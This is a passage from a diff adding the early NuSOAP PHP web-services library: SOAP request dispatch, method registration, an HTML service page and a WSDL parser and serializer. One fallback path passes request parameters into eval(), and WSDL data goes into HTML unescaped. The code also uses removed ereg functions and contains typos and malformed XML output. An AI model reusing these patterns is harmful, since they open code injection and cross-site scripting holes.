+ $this->headers = getallheaders();
+ foreach($this->headers as $k=>$v){
+ $dump .= "$k: $v\r\n";
+ $this->debug("$k: $v");
+ }
+ // get SOAPAction header
+ if($this->headers['SOAPAction']){
+ $this->SOAPAction = str_replace('"','',$this->headers['SOAPAction']);
+ }
+ // get the character encoding of the incoming request
+ if(strpos($headers_array['Content-Type'],"=")){
+ $enc = str_replace("\"","",substr(strstr($headers_array["Content-Type"],"="),1));
+ if(eregi("^(ISO-8859-1|US-ASCII|UTF-8)$",$enc)){
+ $this->xml_encoding = $enc;
+ } else {
+ $this->xml_encoding = 'us-ascii';
+ }
+ }
+ $this->debug("got encoding: $this->xml_encoding");
+ } elseif(is_array($_SERVER)){
+ $this->headers['User-Agent'] = $_SERVER['HTTP_USER_AGENT'];
+ $this->SOAPAction = $_SERVER['SOAPAction'];
+ }
+ $this->request = $dump."\r\n\r\n".$data;
+ // parse response, get soap parser obj
+ $parser = new soap_parser($data,$this->xml_encoding);
+ // if fault occurred during message parsing
+ if($err = $parser->getError()){
+ // parser debug
+ $this->debug("parser debug: \n".$parser->debug_str);
+ $this->result = "fault: error in msg parsing or eval: $err";
+ $this->fault("Server","error in msg parsing or eval:\n".$err);
+ // return soapresp
+ return $this->fault->serialize();
+ // else successfully parsed request into soapval object
+ } else {
+ // get/set methodname
+ $this->methodname = $parser->root_struct_name;
+ $this->debug("method name: $this->methodname");
+ // does method exist?
+ if(!function_exists($this->methodname)){
+ // "method not found" fault here
+ $this->debug("method '$this->methodname' not found!");
+ $this->debug("parser debug: \n".$parser->debug_str);
+ $this->result = "fault: method not found";
+ $this->fault("Server","method '$this->methodname' not defined in service '$this->service'");
+ return $this->fault->serialize();
+ }
+ if($this->wsdl){
+ if(!$this->opData = $this->wsdl->getOperationData($this->methodname)){
+ $this->fault('Server',"Operation '$this->methodname' is not defined in the WSDL for this service");
+ return $this->fault->serialize();
+ }
+ }
+ $this->debug("method '$this->methodname' exists");
+ // evaluate message, getting back parameters
+ $this->debug("calling parser->get_response()");
+ $request_data = $parser->get_response();
+ $this->debug('Parsed response dump: $request_data');
+ // parser debug
+ $this->debug("parser debug: \n".$parser->debug_str);
+ // verify that request parameters match the method's signature
+ if($this->verify_method($this->methodname,$request_data)){
+ // if there are parameters to pass
+ if($request_data){
+ $this->debug("calling '$this->methodname' with params");
+ if (! function_exists('call_user_func_array')) {
+ $this->debug("calling method using eval()");
+ $funcCall = $this->methodname."(";
+ foreach($request_data as $param) {
+ $funcCall .= "\"$param\",";
+ }
+ $funcCall = substr($funcCall, 0, -1).')';
+ $this->debug("function call:<br>$funcCall");
+ eval("\$method_response = $funcCall;");
+ } else {
+ $this->debug("calling method using call_user_func_array()");
+ $method_response = call_user_func_array("$this->methodname",$request_data);
+ }
+ } else {
+ // call method w/ no parameters
+ $this->debug("calling $this->methodname w/ no params");
+ //$method_response = call_user_func($this->methodname);
+ $m = $this->methodname;
+ $method_response = $m();
+ }
+ $this->debug("done calling method: $this->methodname, received $method_response of type".gettype($method_response));
+ // if we got nothing back. this might be ok (echoVoid)
+ if(isset($method_response) && $method_response != "" || is_bool($method_response)) {
+ // if fault
+ if(get_class($method_response) == 'soap_fault'){
+ $this->debug('got a fault object from method');
+ $this->fault = $method_response;
+ return $method_response->serialize();
+ // if return val is soapval object
+ } elseif(get_class($method_response) == 'soapval'){
+ $this->debug('got a soapval object from method');
+ $return_val = $method_response->serialize();
+ // returned other
+ } else {
+ $this->debug("got a ".gettype($method_response)." from method");
+ $this->debug("serializing return value");
+ if($this->wsdl){
+ if(sizeof($this->opData['output']['parts']) > 1){
+ $opParams = $method_response;
+ } else {
+ $opParams = array($method_response);
+ }
+ $return_val = $this->wsdl->serializeRPCParameters($this->methodname,'output',$opParams);
+ } else {
+ $return_val = $this->serialize_val($method_response);
+ }
+ }
+ }
+ $this->debug("serializing response");
+ $payload = "<".$this->methodname."Response>\n".$return_val."</".$this->methodname."Response>\n";
+ $this->result = "successful";
+ if($this->wsdl){
+ //$this->debug("WSDL debug data:\n".$this->wsdl->debug_str);
+ }
+ return $this->serializeEnvelope($payload,$this->responseHeaders);
+ } else {
+ // debug
+ $this->debug("ERROR: request not verified against method signature");
+ $this->result = "fault: request failed validation against method signature";
+ // return fault
+ $this->fault("Server","Sorry, operation '$this->methodname' not defined in service.");
+ return $this->fault->serialize();
+ }
+ }
+ }
+
+ /**
+ * takes the soapval object that was created by parsing the request
+ * and compares to the method's signature, if available.
+ *
+ * @param object SOAPx4 soapval object
+ * @return boolean
+ * @access private
+ */
+ function verify_method($operation,$request){
+ if(isset($this->operations[$operation])){
+ return true;
+ }
+ return false;
+ }
+
+ /**
+ * add a method to the dispatch map
+ *
+ * @param string $methodname
+ * @param string $in array of input values
+ * @param string $out array of output values
+ * @access public
+ */
+ function add_to_map($methodname,$in,$out){
+ $this->operations[$methodname] = array('name' => $methodname,'in' => $in,'out' => $out);
+ }
+
+ /**
+ * register a service with the server
+ *
+ * @param string $methodname
+ * @param string $in array of input values
+ * @param string $out array of output values
+ * @param string $namespace
+ * @param string $soapaction
+ * @param string $style (rpc|literal)
+ * @access public
+ */
+ function register($name,$in=false,$out=false,$namespace=false,$soapaction=false,$style=false){
+ $this->operations[$name] = array(
+ 'name' => $name,
+ 'in' => $in,
+ 'out' => $out,
+ 'namespace' => $namespage,
+ 'soapaction' => $soapaction,
+ 'style' => $style);
+ return true;
+ }
+
+ /**
+ * create a fault. this also acts as a flag to the server that a fault has occured.
+ *
+ * @param string faultcode
+ * @param string faultactor
+ * @param string faultstring
+ * @param string faultdetail
+ * @access public
+ */
+ function fault($faultcode,$faultactor,$faultstring='',$faultdetail=''){
+ $this->fault = new soap_fault($faultcode,$faultactor,$faultstring,$faultdetail);
+ }
+
+ /**
+ * prints html description of services
+ *
+ * @access private
+ */
+ function webDescription(){
+ $b .= "
+ <html><head><title>NuSOAP: ".$this->wsdl->serviceName."</title>
+ <style type=\"text/css\">
+ body { font-family: arial; color: #000000; background-color: #ffffff; margin: 0px 0px 0px 0px; }
+ p { font-family: arial; color: #000000; margin-top: 0px; margin-bottom: 12px; }
+ pre { background-color: silver; padding: 5px; font-family: Courier New; font-size: x-small; color: #000000;}
+ ul { margin-top: 10px; margin-left: 20px; }
+ li { list-style-type: none; margin-top: 10px; color: #000000; }
+ .content{
+ margin-left: 0px; padding-bottom: 2em; }
+ .nav {
+ padding-top: 10px; padding-bottom: 10px; padding-left: 15px; font-size: .70em;
+ margin-top: 10px; margin-left: 0px; color: #000000;
+ background-color: #ccccff; width: 20%; margin-left: 20px; margin-top: 20px; }
+ .title {
+ font-family: arial; font-size: 26px; color: #ffffff;
+ background-color: #999999; width: 105%; margin-left: 0px;
+ padding-top: 10px; padding-bottom: 10px; padding-left: 15px;}
+ .hidden {
+ position: absolute; visibility: hidden; z-index: 200; left: 250px; top: 100px;
+ font-family: arial; overflow: hidden; width: 600;
+ padding: 20px; font-size: 10px; background-color: #999999;
+ layer-background-color:#FFFFFF; }
+ a,a:active { color: charcoal; font-weight: bold; }
+ a:visited { color: #666666; font-weight: bold; }
+ a:hover { color: cc3300; font-weight: bold; }
+ </style>
+ <script language=\"JavaScript\" type=\"text/javascript\">
+ <!--
+ // POP-UP CAPTIONS...
+ function lib_bwcheck(){ //Browsercheck (needed)
+ this.ver=navigator.appVersion
+ this.agent=navigator.userAgent
+ this.dom=document.getElementById?1:0
+ this.opera5=this.agent.indexOf(\"Opera 5\")>-1
+ this.ie5=(this.ver.indexOf(\"MSIE 5\")>-1 && this.dom && !this.opera5)?1:0;
+ this.ie6=(this.ver.indexOf(\"MSIE 6\")>-1 && this.dom && !this.opera5)?1:0;
+ this.ie4=(document.all && !this.dom && !this.opera5)?1:0;
+ this.ie=this.ie4||this.ie5||this.ie6
+ this.mac=this.agent.indexOf(\"Mac\")>-1
+ this.ns6=(this.dom && parseInt(this.ver) >= 5) ?1:0;
+ this.ns4=(document.layers && !this.dom)?1:0;
+ this.bw=(this.ie6 || this.ie5 || this.ie4 || this.ns4 || this.ns6 || this.opera5)
+ return this
+ }
+ var bw = new lib_bwcheck()
+ //Makes crossbrowser object.
+ function makeObj(obj){
+ this.evnt=bw.dom? document.getElementById(obj):bw.ie4?document.all[obj]:bw.ns4?document.layers[obj]:0;
+ if(!this.evnt) return false
+ this.css=bw.dom||bw.ie4?this.evnt.style:bw.ns4?this.evnt:0;
+ this.wref=bw.dom||bw.ie4?this.evnt:bw.ns4?this.css.document:0;
+ this.writeIt=b_writeIt;
+ return this
+ }
+ // A unit of measure that will be added when setting the position of a layer.
+ //var px = bw.ns4||window.opera?\"\":\"px\";
+ function b_writeIt(text){
+ if (bw.ns4){this.wref.write(text);this.wref.close()}
+ else this.wref.innerHTML = text
+ }
+ //Shows the messages
+ var oDesc;
+ function popup(divid){
+ if(oDesc = new makeObj(divid)){
+ oDesc.css.visibility = \"visible\"
+ }
+ }
+ function popout(){ // Hides message
+ if(oDesc) oDesc.css.visibility = \"hidden\"
+ }
+ //-->
+ </script>
+ </head>
+ <body>
+ <div class='content'>
+ <br><br>
+ <div class='title'>".$this->wsdl->serviceName."</div>
+ <div class='nav'>
+ <p>View the <a href='$PHP_SELF?wsdl'>WSDL</a> for the service.
+ Click on an operation name to view it's details.</p>
+ <ul>
+ ";
+ foreach($this->wsdl->getOperations() as $op => $data){
+ $b .= "<li><a href='#' onclick=\"popup('$op')\">$op</a></li>";
+ // create hidden div
+ $b .= "<div id='$op' class='hidden'>
+ <a href='#' onclick='popout()'><font color='#ffffff'>Close</font></a><br><br>";
+ foreach($data as $donnie => $marie){
+ if($donnie == 'input' || $donnie == 'output'){
+ $b .= "<font color='white'>".ucfirst($donnie).":</font><br>";
+ foreach($marie as $captain => $tenille){
+ if($captain == 'parts'){
+ $b .= " $captain:<br>";
+ foreach($tenille as $joanie => $chachi){
+ $b .= " $joanie: $chachi<br>";
+ }
+ } else {
+ $b .= " $captain: $tenille<br>";
+ }
+ }
+ } else {
+ $b .= "<font color='white'>".ucfirst($donnie).":</font> $marie<br>";
+ }
+ }
+ /*$b .= "<pre>".$this->formatDump(
+ $this->wsdl->serializeEnvelope(
+ $this->wsdl->serializeRPCParameters($op,array())))."</pre>";
+ $b .= "</div>";*/
+ }
+ $b .= "
+ <ul>
+ </div>
+ </div>
+ </body></html>";
+ return $b;
+ }
+
+ /**
+ * sets up wsdl object
+ * this acts as a flag to enable internal WSDL generation
+ * NOTE: NOT FUNCTIONAL
+ *
+ * @param string $serviceName, name of the service
+ * @param string $namespace, tns namespace
+ */
+ function configureWSDL($serviceName,$namespace){
+ $this->wsdl = new wsdl;
+ $this->wsdl->serviceName = $serviceName;
+ $this->wsdl->namespaces['tns'] = $namespace;
+ $this->wsdl->namespaces['soap'] = "http://schemas.xmlsoap.org/wsdl/soap/";
+ $this->wsdl->namespaces['wsdl'] = "http://schemas.xmlsoap.org/wsdl/";
+ }
+}
+
+?>
+<?
+/*
+
+NuSOAP - Web Services Toolkit for PHP
+
+Copyright (c) 2002 NuSphere Corporation
+
+This library is free software; you can redistribute it and/or
+modify it under the terms of the GNU Lesser General Public
+License as published by the Free Software Foundation; either
+version 2.1 of the License, or (at your option) any later version.
+
+This library is distributed in the hope that it will be useful,
+but WITHOUT ANY WARRANTY; without even the implied warranty of
+MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
+Lesser General Public License for more details.
+
+You should have received a copy of the GNU Lesser General Public
+License along with this library; if not, write to the Free Software
+Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
+
+*/
+
+/**
+* parses a WSDL file, allows access to it's data, other utility methods
+*
+* @author Dietrich Ayala <dietricha@ganx4.com>
+* @access public
+*/
+class wsdl extends XMLSchema {
+
+ /**
+ * constructor
+ *
+ * @param string $wsdl WSDL document URL
+ * @access public
+ */
+ function wsdl($wsdl=""){
+ $this->wsdl = $wsdl;
+ // define internal arrays of bindings, ports, operations, messages, etc.
+ //$this->namespaces = array();
+ $this->complexTypes = array();
+ $this->messages = array();
+ $this->currentMessage;
+ $this->currentOperation;
+ $this->portTypes = array();
+ $this->currentPortType;
+ $this->bindings = array();
+ $this->currentBinding;
+ $this->ports = array();
+ $this->currentPort;
+ $this->opData = array();
+ $this->status = "";
+ $this->documentation = false;
+ // array of wsdl docs to import
+ $this->import = array();
+ // parser vars
+ $this->parser;
+ $this->position;
+ $this->depth;
+ $this->depth_array = array();
+
+ // parse wsdl file
+ if($wsdl != ""){
+ $this->debug("initial wsdl file: $wsdl");
+ $this->parseWSDL($wsdl);
+ }
+
+ // imports
+ if(sizeof($this->import) > 0){
+ foreach($this->import as $ns => $url){
+ $this->debug("importing wsdl from $url");
+ $this->parseWSDL($url);
+ }
+ }
+
+ }
+
+ /**
+ * parses the wsdl document
+ *
+ * @param string $wsdl path or URL
+ * @access private
+ */
+ function parseWSDL($wsdl=""){
+ // parse wsdl file
+ if($wsdl != ""){
+ $this->debug("getting $wsdl");
+ if ($fp = @fopen($wsdl,"r")) {
+ while($data = fread($fp, 32768)) {
+ $wsdl_string .= $data;
+ }
+ fclose($fp);
+ } else {
+ $this->setError("bad path to WSDL file.");
+ return false;
+ }
+ // Create an XML parser.
+ $this->parser = xml_parser_create();
+ // Set the options for parsing the XML data.
+ //xml_parser_set_option($parser, XML_OPTION_SKIP_WHITE, 1);
+ xml_parser_set_option($this->parser, XML_OPTION_CASE_FOLDING, 0);
+ // Set the object for the parser.
+ xml_set_object($this->parser, $this);
+ // Set the element handlers for the parser.
+ xml_set_element_handler($this->parser, "start_element","end_element");
+ xml_set_character_data_handler($this->parser,"character_data");
+ //xml_set_default_handler($this->parser, "default_handler");
+
+ // Parse the XML file.
+ if(!xml_parse($this->parser,$wsdl_string,true)){
+ // Display an error message.
+ $errstr = sprintf("XML error on line %d: %s",
+ xml_get_current_line_number($this->parser),
+ xml_error_string(xml_get_error_code($this->parser))
+ );
+ $this->debug("XML parse error: $errstr");
+ $this->setError("Parser error: $errstr");
+ return false;
+ }
+ xml_parser_free($this->parser);
+ } else{
+ $this->debug("no wsdl passed to parseWSDL()!!");
+ $this->setError("no wsdl passed to parseWSDL()!!");
+ return false;
+ }
+
+ // add new data to operation data
+ foreach($this->bindings as $binding => $bindingData){
+ if(is_array($bindingData['operations'])){
+ foreach($bindingData['operations'] as $operation => $data){
+ $this->debug("post-parse data gathering for $operation");
+ $this->bindings[$binding]['operations'][$operation]['input'] = array_merge($this->bindings[$binding]['operations'][$operation]['input'],$this->portTypes[ $bindingData['portType'] ][$operation]['input']);
+ $this->bindings[$binding]['operations'][$operation]['output'] = array_merge($this->bindings[$binding]['operations'][$operation]['output'],$this->portTypes[ $bindingData['portType'] ][$operation]['output']);
+ $this->bindings[$binding]['operations'][$operation]['input']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['input']['message'] ];
+ $this->bindings[$binding]['operations'][$operation]['output']['parts'] = $this->messages[ $this->bindings[$binding]['operations'][$operation]['output']['message'] ];
+ if($this->bindings[$binding]['operations'][$operation]['style'] == ''){
+ $this->bindings[$binding]['operations'][$operation]['style'] = $bindingData['style'];
+ }
+ $this->bindings[$binding]['operations'][$operation]['transport'] = $bindingData['transport'];
+ $this->bindings[$binding]['operations'][$operation]['documentation'] = $this->portTypes[ $bindingData['portType'] ][$operation]['documentation'];
+ $this->bindings[$binding]['operations'][$operation]['endpoint'] = $bindingData['endpoint'];
+ }
+ }
+ }
+ return true;
+ }
+
+ /**
+ * start-element handler
+ *
+ * @param string $parser XML parser object
+ * @param string $name element name
+ * @param string $attrs associative array of attributes
+ * @access private
+ */
+ function start_element($parser, $name, $attrs) {
+
+ if($this->status == "schema" || ereg("schema$",$name)){
+ //$this->debug("startElement for $name ($attrs[name]). status = $this->status (".$this->getLocalPart($name).")");
+ $this->status = "schema";
+ $this->schemaStartElement($parser,$name,$attrs);
+ } else {
+ // position in the total number of elements, starting from 0
+ $pos = $this->position++;
+ $depth = $this->depth++;
+ // set self as current value for this depth
+ $this->depth_array[$depth] = $pos;
+
+ // get element prefix
+ if(ereg(":",$name)){
+ // get ns prefix
+ $prefix = substr($name,0,strpos($name,":"));
+ // get unqualified name
+ $name = substr(strstr($name,":"),1);
+ }
+ //$this->debug("name: $name, prefix: $prefix");
+
+ // loop through atts, logging ns declarations
+ foreach($attrs as $key => $value){
+ // if ns declarations, add to class level array of valid namespaces
+ if(ereg("^xmlns",$key)){
+ if($ns_prefix = substr(strrchr($key,":"),1)){
+ $this->namespaces[$ns_prefix] = $value;
+ } else {
+ $this->namespaces['ns'.(count($this->namespaces)+1)] = $value;
+ }
+ if($value == 'http://www.w3.org/2001/XMLSchema'){
+ $this->XMLSchemaVersion = $value;
+ $this->namespaces['xsi'] = $value.'-instance';
+ } elseif($value == 'http://www.w3.org/1999/XMLSchema'){
+ $this->XMLSchemaVersion = $value;
+ $this->namespaces['xsi'] = $value.'-instance';
+ }
+ }
+ }
+
+ // find status, register data
+ switch($this->status){
+ case 'message':
+ if($name == 'part'){
+ if($attrs['type']){
+ //print "msg ".$this->currentMessage.": found part $attrs[name]: ".implode(',',$attrs)."<br>";
+ $this->messages[$this->currentMessage][$attrs['name']] = $this->expandQname($attrs['type']);
+ //print "i've stored it as: ".$this->messages[$this->currentMessage][$attrs['name']]."<br>";
+ }
+ if($attrs['element']){
+ $this->messages[$this->currentMessage][$attrs['name']] = $this->expandQname($attrs['element']);
+ }
+ }
+ break;
+ case 'portType':
+ switch($name){
+ case 'operation':
+ $this->currentPortOperation = $attrs["name"];
+ $this->debug("portType $this->currentPortType operation: $this->currentPortOperation");
+ $this->portTypes[$this->currentPortType][$attrs["name"]]["parameterOrder"] = $attrs["parameterOrder"];
+ break;
+ case 'documentation':
+ $this->documentation = true;
+ break;
+ // merge input/output data
+ default:
+ $this->portTypes[$this->currentPortType][$this->currentPortOperation][$name]['message'] = $this->getLocalPart($attrs['message']);
+ break;
+ }
+ break;
+ case 'binding':
+ switch($name){
+ case 'binding':
+ // get ns prefix
+ if(isset($attrs['style'])){
+ $this->bindings[$this->currentBinding]['prefix'] = $prefix;
+ }
+ $this->bindings[$this->currentBinding] = array_merge($this->bindings[$this->currentBinding],$attrs);
+ break;
+ case 'header':
+ $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus]['headers'][] = $attrs;
+ break;
+ case 'operation':
+ if($attrs['soapAction'] || $attrs['style']){
+ $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['soapAction'] = $attrs['soapAction'];
+ $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['style'] = $attrs['style'];
+ } elseif($attrs['name']) {
+ $this->currentOperation = $attrs['name'];
+ $this->debug("current binding operation: $this->currentOperation");
+ $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['name'] = $attrs['name'];
+ $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['binding'] = $this->currentBinding;
+ $this->bindings[$this->currentBinding]['operations'][$this->currentOperation]['endpoint'] = $this->bindings[$this->currentBinding]['endpoint'];
+ }
+ break;
+ case 'input':
+ $this->opStatus = 'input';
+ break;
+ case 'output':
+ $this->opStatus = 'output';
+ break;
+ case 'body':
+ $this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus] = array_merge($this->bindings[$this->currentBinding]['operations'][$this->currentOperation][$this->opStatus],$attrs);
+ break;
+ }
+ break;
+ case "service":
+ switch($name){
+ case "port":
+ $this->currentPort = $attrs['name'];
+ $this->debug("current port: $this->currentPort");
+ $this->ports[$this->currentPort]['binding'] = substr(strstr($attrs['binding'],":"),1);
+
+ break;
+ case "address":
+ $this->ports[$this->currentPort]['location'] = $attrs['location'];
+ $this->ports[$this->currentPort]['bindingType'] = $this->getNamespaceFromPrefix($prefix);
+ $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['bindingType'] = $this->getNamespaceFromPrefix($prefix);
+ $this->bindings[ $this->ports[$this->currentPort]['binding'] ]['endpoint'] = $attrs['location'];
+ //echo "port $this->currentPort, has binding ".$this->ports[$this->currentPort]['binding']." and endpoint ".$attrs['location']."<br>";
+ break;
+ }
+ break;
+ }
+ // set status
+ switch($name){
+ case "import":
+ if(isset($attrs['location'])){
+ $this->import[$attrs['namespace']] = $attrs['location'];
+ }
+ break;
+ case "types":
+ $this->status = "schema";
+ break;
+ case "message":
+ $this->status = "message";
+ $this->messages[$attrs["name"]] = array();
+ $this->currentMessage = $attrs["name"];
+ break;
+ case "portType":
+ $this->status = "portType";
+ $this->portTypes[$attrs["name"]] = array();
+ $this->currentPortType = $attrs["name"];
+ break;
+ case "binding":
+ if(isset($attrs['name'])){
+ // get binding name
+ if(ereg(":",$attrs['name'])){
+ $this->currentBinding = substr(strstr($attrs['name'],":"),1);
+ $prefix = substr($name,0,strpos($attrs['name'],":"));
+ } else {
+ $this->currentBinding = $attrs['name'];
+ }
+ $this->status = "binding";
+ $this->bindings[$this->currentBinding]['portType'] = substr(strstr($attrs['type'],":"),1);
+ $this->debug("current binding: $this->currentBinding of portType: ".$attrs['type']);
+ }
+ break;
+ case "service":
+ $this->serviceName = $attrs["name"];
+ $this->status = "service";
+ break;
+ case "definitions":
+ foreach ($attrs as $name=>$value) {
+ $this->wsdl_info[$name]=$value;
+ }
+ break;
+ }
+ }
+ }
+
+ /**
+ * end-element handler
+ *
+ * @param string $parser XML parser object
+ * @param string $name element name
+ * @access private
+ */
+ function end_element($parser, $name) {
+ // unset schema status
+ if(ereg('types$',$name) || ereg('schema$',$name)){
+ $this->status = "";
+ }
+ if($this->status == 'schema'){
+ $this->schemaEndElement($parser, $name);
+ } else {
+ // position of current element is equal to the last value left in depth_array for my depth
+ $pos = $this->depth_array[$this->depth];
+ // bring depth down a notch
+ $this->depth--;
+ }
+ // end documentation
+ if($this->documentation){
+ $this->portTypes[$this->currentPortType][$this->currentPortOperation]['documentation'] = $this->documentation;
+ $this->documentation = false;
+ }
+ }
+
+ /**
+ * element content handler
+ *
+ * @param string $parser XML parser object
+ * @param string $data element content
+ * @access private
+ */
+ function character_data($parser, $data){
+ $pos = $this->depth_array[$this->depth];
+ $this->message[$pos]["cdata"] .= $data;
+ if($this->documentation){
+ $this->documentation .= $data;
+ }
+ }
+
+
+ function getBindingData($binding){
+ if(is_array($this->bindings[$binding])){
+ return $this->bindings[$binding];
+ }
+ }
+
+ function getMessageData($operation,$portType,$msgType){
+ $name = $this->opData[$operation][$msgType]['message'];
+ $this->debug( "getting msgData for $name, using $operation,$portType,$msgType<br>" );
+ return $this->messages[$name];
+ }
+
+ /**
+ * returns an assoc array of operation names => operation data
+ * NOTE: currently only supports multiple services of differing binding types
+ * This method needs some work
+ *
+ * @param string $bindingType eg: soap, smtp, dime (only soap is currently supported)
+ * @return array
+ * @access public
+ */
+ function getOperations($bindingType = "soap"){
+ if($bindingType == "soap"){
+ $bindingType = "http://schemas.xmlsoap.org/wsdl/soap/";
+ }
+ // loop thru ports
+ foreach($this->ports as $port => $portData){
+ // binding type of port matches parameter
+ if($portData['bindingType'] == $bindingType){
+ // get binding
+ return $this->bindings[ $portData['binding'] ]['operations'];
+ }
+ }
+ return array();
+ }
+
+ /**
+ * returns an associative array of data necessary for calling an operation
+ *
+ * @param string $operation, name of operation
+ * @param string $bindingType, type of binding eg: soap
+ * @return array
+ * @access public
+ */
+ function getOperationData($operation,$bindingType="soap"){
+ if($bindingType == "soap"){
+ $bindingType = "http://schemas.xmlsoap.org/wsdl/soap/";
+ }
+ // loop thru ports
+ foreach($this->ports as $port => $portData){
+ // binding type of port matches parameter
+ if($portData['bindingType'] == $bindingType){
+ // get binding
+ foreach($this->bindings[ $portData['binding'] ]['operations'] as $bOperation => $opData){
+ if($operation == $bOperation){
+ return $opData;
+ }
+ }
+ }
+ }
+ }
+
+ /**
+ * serialize the parsed wsdl
+ *
+ * @return string, serialization of WSDL
+ * @access public
+ */
+ function serialize(){
+ $xml = "<?xml version=\"1.0\"?><definitions";
+ foreach($this->namespaces as $k => $v){
+ $xml .= " xmlns:$k=\"$v\"";
+ }
+ $xml .= ">";
+
+ // imports
+ if(sizeof($this->import) > 0){
+ foreach($this->import as $ns => $url){
+ $xml .= "<import location=\"$url\" namespace=\"$ns\" />\n";
+ }
+ }
+
+ // types
+ if($this->schema){
+ $xml .= "<types>";
+ //$xml .= $this->serializeSchema();
+ $xml .= "</types>";
+ }
+
+ // messages
+ if(count($this->messages) >= 1){
+ foreach($this->messages as $msgName => $msgParts){
+ $xml .= "<message name=\"$msgName\">";
+ foreach($msgParts as $partName => $partType){
+ $xml .= "<part name=\"$partName\" type=\"$partType\" />";
+ }
+ $xml .= "</message>";
+ }
+ }
+ // portTypes
+ if(count($this->portTypes) >= 1){
+ foreach($this->portTypes as $portTypeName => $portOperations){
+ $xml .= "<portType name=\"$portTypeName\">";
+ foreach($portOperations as $portOperation => $parameterOrder){
+ $xml .= "<operation name=\"$portOperation\" parameterOrder=\"$parameterOrder\">";
+ foreach($this->portTypes[$portTypeName][$portOperation] as $name => $attrs){
+ $xml .= "<$name";
+ if(is_array($attrs)){
+ foreach($attrs as $k => $v){
+ $xml .= " $k=\"$v\"";
+ }
+ }
+ $xml .= "/>";
+ }
+ $xml .= "</operation>";
+ }
+ $xml .= "</portType>";
+ }
+ }
+ // bindings
+ if(count($this->bindings) >= 1){
+ foreach($this->bindings as $bindingName => $attrs){
+ $xml .= "<binding name=\"$msgName\" type=\"".$attrs["type"]."\">";
+ $xml .= "<soap:binding style=\"".$attrs["style"]."\" transport=\"".$attrs["transport"]."\"/>";
+ foreach($attrs["operations"] as $opName => $opParts){
+ $xml .= "<operation name=\"$opName\">";
+ $xml .= "<soap:operation soapAction=\"".$opParts["soapAction"]."\"/>";
+ $xml .= "<input>";
+ $xml .= "<soap:body use=\"".$opParts["input"]["use"]."\" namespace=\"".$opParts["input"]["namespace"]."\" encodingStyle=\"".$opParts["input"]["encodingStyle"]."\"/>";
+ $xml .= "</input>";
+ $xml .= "<output>";
+ $xml .= "<soap:body use=\"".$opParts["output"]["use"]."\" namespace=\"".$opParts["output"]["namespace"]."\" encodingStyle=\"".$opParts["output"]["encodingStyle"]."\"/>";
+ $xml .= "</output>";
+ $xml .= "</operation>";
+ }
+ $xml .= "</message>";
+ }
+ }
+ // services
+ $xml .= "<service name=\"$this->serviceName\">";
+ if(count($this->ports) >= 1){
+ foreach($this->ports as $pName => $attrs){
+ $xml .= "<port name=\"$pName\" binding=\"".$attrs["binding"]."\">";
+ $xml .= "soap:address location=\"".$attrs["location"]."\"/>";
+ $xml .= "</port>";
+ }
+ }
+ $xml .= "</service>";
+ return $xml."</definitions>";
+ }
+
+ /**
+ * serialize a PHP value according to a WSDL message definition
+ *
+ * TODO
+ * - only serialize namespaces used in the message
+ * - multi-ref serialization
+ * - validate PHP values against type definitions, return errors if invalid
+ * - probably more stuff :)
+ * - implement 'out' functionality or write new function for 'out' parameters
+ *
+ * @param string type name
+ * @param mixed param value
+ * @return mixed new param or false if initial value didn't validate
+ */
+ function serializeRPCParameters($operation,$direction,$parameters){
+ if($direction != 'input' && $direction != 'output'){
+ $this->setError('The value of the \$direction argument needs to be either "input" or "output"');
+ return false;
+ }
+ if(!$opData = $this->getOperationData($operation)){
+ return false;
+ }
+ $this->debug( "in serializeRPCParameters with xml schema version $this->XMLSchemaVersion");
+ // set input params
+ if(sizeof($opData[$direction]['parts']) > 0){
+ foreach($opData[$direction]['parts'] as $name => $type){
+ $xml .= $this->serializeType($name,$type,array_shift($parameters));
+ }
+ }
+ return $xml;
+ }
+
+ /**
+ * serializes a PHP value according a given type definition
+ *
+ * @param string $name, name of type
+ * @param string $type, type of type, heh
+ * @param mixed $value, a native PHP value
+ * @return string serialization
+ * @access public
+ */
+ function serializeType($name,$type,$value){
+ $this->debug("in serializeType: $name, $type, $value");
+ if(strpos($type,':')){
+ $uqType = substr($type,strrpos($type,":")+1);
+ $ns = substr($type,0,strrpos($type,":"));
+ $this->debug("got a prefixed type: $uqType, $ns");
+ if($ns == $this->XMLSchemaVersion){
+ if($uqType == 'boolean' && !$value){
+ $value = 0;
+ } elseif($uqType == 'boolean'){
+ $value = 1;
+ }
+ if($uqType == 'string' && $this->charencoding){
+ $value = htmlspecialchars($value);
+ }
+ // it's a scalar
+ return "<$name xsi:type=\"".$this->getPrefixFromNamespace($this->XMLSchemaVersion).":$uqType\">$value</$name>\n";
+ }
+ } else {
+ $uqType = $type;
+ }
+ $typeDef = $this->getTypeDef($uqType);
+ $phpType = $typeDef['phpType'];
+ $this->debug("serializeType: uqType: $uqType, ns: $ns, phptype: $phpType, arrayType: ".$typeDef['arrayType']);
+ // if php type == struct, map value to the <all> element names
+ if($phpType == "struct"){
+ $xml = "<$name xsi:type=\"".$this->getPrefixFromNamespace($ns).":$uqType\">\n";
+ if(is_array($this->complexTypes[$uqType]["elements"])){
+ foreach($this->complexTypes[$uqType]["elements"] as $eName => $attrs){
+ // get value
+ if(isset($value[$eName])){
+ $v = $value[$eName];
+ } elseif(is_array($value)) {
+ $v = array_shift($value);
+ }
+ if(!isset($attrs['type'])){
+ $xml .= $this->serializeType($eName,$attrs['name'],$v);
+ } else {
+ $this->debug("calling serialize_val() for $eName, $v, ".$this->getLocalPart($attrs['type']));
+ $xml .= $this->serialize_val($v,$eName,$this->getLocalPart($attrs['type']),null,$this->getNamespaceFromPrefix($this->getPrefix($attrs['type'])));
+ }
+ }
+ }
+ $xml .= "</$name>\n";
+ } elseif($phpType == "array"){
+ $rows = sizeof($value);
+ if($typeDef['multidimensional']){
+ $nv = array();
+ foreach($value as $v){
+ $cols = ','.sizeof($v);
+ $nv = array_merge($nv,$v);
+ }
+ $value = $nv;
+ }
+ if(is_array($value) && sizeof($value) >= 1){
